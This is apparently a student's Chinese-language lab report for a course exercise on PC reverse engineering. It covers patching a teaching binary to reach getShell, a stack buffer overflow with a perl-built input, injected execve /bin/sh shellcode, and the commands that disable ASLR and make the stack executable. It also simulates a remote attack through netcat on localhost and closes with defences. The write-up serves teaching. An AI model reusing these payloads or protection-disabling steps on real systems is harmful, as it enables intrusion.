【网络对抗技术】20181234 Exp1 PC平台逆向破解

 目录

1实践目标

2基础知识点及问题回答

3直接修改程序机器指令,改变程序执行流程

3.1查看反汇编文件并计算地址变换结果

3.2修改可执行文件

3.3再次运行可执行文件

4通过构造输入参数,造成BOF攻击,改变程序执行流——调用getshell

4.1反汇编,了解程序的基本功能

4.2确认输入字符串哪几个字符会覆盖到返回地址

4.3确认用什么值来覆盖返回地址

4.4构造输入字符串

4.5函数调用与堆栈

5注入Shellcode并执行

5.1准备一段Shellcode

5.2准备工作

5.3构造要注入的payload

5.4结合NC模拟远程攻击

6Bof攻击防御技术

6.1从防止注入的角度

6.2注入入了也不让运行

6.3增加shellcode的构造难度

6.4从管理的角度

 7 实验心得与体会


 实验报告                                                                               

1实践目标

 本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段

 三个实践内容:

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode

三种思路:

  • 运行原本不可访问的代码片段
  • 强行修改程序执行流
  • 以及注入运行任意代码 

2基础知识点及问题回答

2.1知识点

♠ Linux指令

  • ls:显示文件或目录信息
  • mkdir:当前目录下创建一个空目录
  • cat:查看文本文件内容
  • more:可以分页看
  • less:不仅可以分页,还可以方便地搜索,回翻等操作
  • echo:把内容重定向到指定的文件中。有则打开,无则创建
  • 管道命令 | :将前面的结果给后面的命令
  • 重定向:> 是覆盖模式,>> 是追加模式

♣ 反汇编指令

objdump -d filename| more
  • objdump(object dump) 项目导出
  • -d(disassemble) 反汇编
  • filename 反汇编的可执行文件
  • |为管道符
  • more为分页指令

♥ vim编辑器实现十六进制编辑的功能

  • 输入命令vi pwn1查看可执行文件内容,为ASCII码形式显示;
  • 输入:%!xxd将显示模式切换为16进制模式;
  • 进行相关操作后,输入:%!xxd -r转换16进制为ASCII码形式。

2.2问题回答

什么是漏洞?漏洞有什么危害?

♣实验中的漏洞是指在输入时,没有进行边界测试,导致输入溢出缓冲区,覆盖EIP,执行getshell。
♠日常中的漏洞是指在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,存在技术缺陷或者程序问题,从而使攻击者能够在未授权的情况下访问或破坏系统,执行我们想要的程序。 ♥现如今漏洞影响面逐步扩大,超高危漏洞比率大幅增加,漏洞修复率处于历史较低水平,威胁形势依然严峻。 ♦危害: 1.程序的正常功能无法按照预期执行,对服务器的安全收到影响,执行任意系统命令,攻击者能直接控制目标服务器,危害的严重程度重大; 2.程序被非法控制和破坏,安装恶意软件,导致病毒传播; 3.可能会导致信息泄漏,身份信息没有隐私,重要信息泄露,造成损失,暴露服务器的信息,使攻击者能够通过泄露的信息入侵; 4.帐号密码泄漏,导致攻击者直接操作网站后台或数据库,操控一些可能有危害,邮件泄露会被垃圾邮件骚扰,被攻击者利用社会工程学手段获取更多信息,扩大危害。

3直接修改程序机器指令,改变程序执行流程

3.1查看反汇编文件并计算地址变换结果

cp pwn1 pwn.bak //将老师给的pwn1文件进行备份

objdump -d pwn1 | more //对pwn1进行反汇编并找到函数main,foo,getshell

Δ对反汇编结果进行分析:

  • 可以看到getshell函数的地址是804847d,foo函数的地址是8048491,main函数中call 8048491 <foo>指令的机器码是e8 d7 ff ff ff ,EIP的值是下一条指令的地址,即80484ba

  • “d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29=8048491,就是foo的内存地址

  • 想要让程序执行到getShell需更改call指令的机器码为相应地址的差,计算地址差为0x080484ba - 0x0804847d = 0xffffffc3

3.2修改可执行文件

0.vi pwn1
1.按下ESC
2.输入:%!xxd,将显示模式切换为16进制模式
3.输入/d7  //查找需要修改的地方(如果搜e8 d7注意要有空格,否则会搜索不到)可以多查找几次,以防有重复字段
4.按下i,插入模式,将d7改为c3
5.按下ESC,输入:%!xxd -r  //转换16进制为原格式,这一步一定要做,否则在反编译时会提示格式错误
6.输入:wq,保存并退出
7.objdump -d pwn1 | more  //对比确认

3.3再次运行可执行文件

./pwn1是修改后的结果——实现shell   

./pwn1.bak是未修改的结果——回显输入

4通过构造输入参数,造成BOF攻击,改变程序执行流——调用getshell 

4.1反汇编,了解程序的基本功能

通过反汇编我们可以看到

Θ这个可执行文件正常运行是main函数调用foo函数,但是foo函数存在bufferoverflow的漏洞,我们可以利用这个漏洞,取消原本正常执行的foo函数回显输入字符串的功能,触发原本不能执行的getshell函数。

Θ观察foo函数可以发现,“lea -0x1c(%ebp),%eax”表示系统只预留了28字节的缓冲区,经计算得出实现缓冲区溢出的字符数为28+4个字节(4为EBP占用的内存空间),我们希望执行getShell函数,因此需要将getShell函数的地址放在返回地址(eip寄存器)处,即33~36字节

4.2确认输入字符串哪几个字符会覆盖到返回地址

在gdb中输入至少36字节的数据,即1111111122222222333333334444444412345678,可以看到给出了Segmentation fault的错误提示,同时可以查看到eip寄存器的地址为0x34333231(这里的1234是ASCII码,换成16进制就是0x34333231),可知getShell的地址放在了33~36字节且为小端序存放

 

当程序遇到被覆盖的返回地址,CPU会尝试执行这个位置的代码,进而发现并没有东西,所以产生Segmentation fault——段错误。只要我们把33~36字节的字符替换为getshell的内存地址,输入给程序,程序就会运行getshell函数。

4.3确认用什么值来覆盖返回地址

  • 由反汇编可以看到的地址是804847d

  • 从gdb可以看出地址存放为小端序,所以输入为11111111222222223333333344444444\7d\x84\x04\x08

4.4构造输入字符串

因为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

  • 关于Perl: Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中。

使用16进制查看指令xxd查看input文件的内容是否如预期,然后将input的输入,通过管道符“|”,作为pwn2的输入。

4.5函数调用与堆栈

ret =pop EIP

正常:eip是下一条指令的地址,pop eip就是80484ba到eip中,下一条执行80484ba

缓冲区溢出:eip=0x34333231,找不到就报segment fault

5注入Shellcode并执行

5.1准备一段Shellcode

  • shellcode就是一段机器指令(code)

    • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),

    • 所以这段机器指令被称为shellcode。

    • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

  • 我们需要确定shellcode放哪,shellcode可能在EIP前或是EIP后,这取决于操作系统,此次实验放在EIP后面。

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

5.2准备工作

  • 下载安装prelink,否则无法使用execstack命令

  • 放入kali解压,进入prelink文件夹打开终端

sudo apt-get install libelf-dev
./configure
make
sudo make install
  • 堆栈可执行(shellcode放在堆栈上,正常是不可执行的)

  • 关闭地址随机化,使得第1、2次调试中使用堆栈地址不变,一般堆栈随机化,防范多次调试。

  • 关闭AL8R

execstack -s pwn1    //设置堆栈可执行
execstack -q pwn1    //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space
sudo -s    //否则权限不够
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化,2为开启,0为关闭
more /proc/sys/kernel/randomize_va_space

 

5.3构造要注入的payload

  • Linux下有两种基本构造攻击buf的方法:因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。

    • retaddr+nop+shellcode
    • nop+shellcode+retaddr
  • 缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

  • 结构为:nops+shellcode+retaddr。

    • nop一为是了填充,二是作为“着陆区/滑行区”。

    • 我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

  • 最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
  • 最后一个字符千万不能是\x0a。why:为了让程序停在gets获取字符串的函数前,相当于输入了字符没有按回车键,否则程序执行了gets就直接运行puts函数,就直接运行完了,没有机会停留在进程中让我们打开调试
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

Δ打开一个终端注入这段攻击buf:

(cat input_shellcode;cat) | ./pwn2

Δ再开另外一个终端,用gdb来调试pwn2这个进程。一定要另开一个终端!查看esp寄存器,要根据自己的地址进行下面的操作!!!

ps -ef | grep pwn1    //找到pwn1的进程号是:2277
gdb    //打开gdb调试器

//以下在gdb中进行
attach 2277    //绑定进程
//通过设置断点,来查看注入buf的内存地址
disassemble foo
//断在这,这时注入的东西都大堆栈上了
//ret完,就跳到我们覆盖的retaddr那个地方了

break  *0x080484ae //在另外一个终端中按下回车!!
c    //继续

info r esp      //查看esp寄存器,要根据自己的地址进行下面的操作!!!
x/16x 0xffffd5ac   //看到01020304了,就是返回地址的位置。shellcode就挨着,所以地址是 0xffffd5cc + 0x00000004 = 0xffffd5b0

perl -e 'print "A" x 32;print "\xb0\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode 
xxd input_shellcode
(cat input_shellcode;cat) | ./pwn1

攻击成功了!!!!!!

5.4结合NC模拟远程攻击

在同一主机上进行模拟攻击

首先是在主机1上模拟一个有漏洞的网络服务

nc -l 127.0.0.1 -p 28234 -e ./pwn1  //-l 表示listen, -p 后加端口号 -e 后加可执行文件,网络上接收的数据将作为这个程序的输入

然后是在主机2上连接主机1并发送攻击载荷

(cat input_shellcode; cat) | nc 127.0.0.1 28234
ls

然而攻击失败了!在主机2输入ls后,主机1报出了如下错误

询问同学得知可能是因为端口28324没有被打开

lsof -i:28324

发现端口确实没有被打开,于是打开端口重新测试

nc -lp 28234 &   //打开28234端口
netstat -an | grep 28234    //查看28234端口是否被打开

攻击成功!

6Bof攻击防御技术 

6.1从防止注入的角度

在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生。

6.2注入入了也不让运行

 结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。

-c, --clear-execstack      Clear executable stack flag bit
-q, --query                    Query executable stack flag bit
-s, --set-execstack         Set executable stack flag bit
//此时我们的攻击可以执行,如上实验
execstack -s pwn1    //把堆栈设置为可执行
execstack -q pwn1    //查询堆栈状态

//此时我们的攻击不可执行了
excstack -c pwn1   //把堆栈设置为不可执行
execstack -q pwn1    //查询堆栈状态
//以下测试攻击
perl -e 'print "A" x 32;print "\xd0\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
(cat input_shellcode;cat) | ./pwn1

6.3增加shellcode的构造难度

shellcode中需要猜测==返回地址==的位置,需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实:应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR,地址随机化就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。

/proc/sys/kernel/randomize_va_space用于控制Linux下内存地址随机化机制(address space layout randomization),有以下三种情况
0 - 表示关闭进程地址空间随机化
1 -  表示将mmap的基址,stack和vdso页面随机化
2 - 表示在1的基础上增加栈(heap)的随机化

echo "1" > /proc/sys/kernel/randomize_va_space    //将mmap的基址,stack和vdso页面随机化
echo "2" > /proc/sys/kernel/randomize_va_space    //在1的基础上增加栈(heap)的随机化。
more /proc/sys/kernel/randomize_va_space    //查看
(cat input_shellcode;cat) | ./pwn1    //尝试攻击

6.4从管理的角度

  • 加强编码质量。
  • 注意边界检测。
  • 使用最新的安全的库函数。 

7 实验心得与体会

    这一次实验从开始到结束写完博客用了一周多的时间,可以说我第一次如此认真且反复的去完成一个实验。在最开始的时候,看老师的实验指导都看不懂,到学习视频时一点点地做笔记,一个地方不懂要重放3、4遍,再到后面可以自己独立地输命令行,去分析每一步地错误在哪,可以说,这次实验真的让我收获良多。在学习地同时也遇到了不少问题,比如说,在做注入shellcode地那个实验点时,总是无法找到进程号,还有后面shellcode地址改变,进行攻击时也总是出错。还好这些问题都通过私下查阅资料和询问同学得到了解决。通过本次实验,我对缓冲区溢出攻击的原理有了更好的掌握,对栈空间的分配规则和漏洞的产生有了更好的了解,则也对自己的计算机防范积攒了更多的经验,后面还有很多攻击的实验,经过努力,我相信自己也能很好的完成。

posted @ 2021-03-10 15:47  20181234  阅读(151)  评论(0)    收藏  举报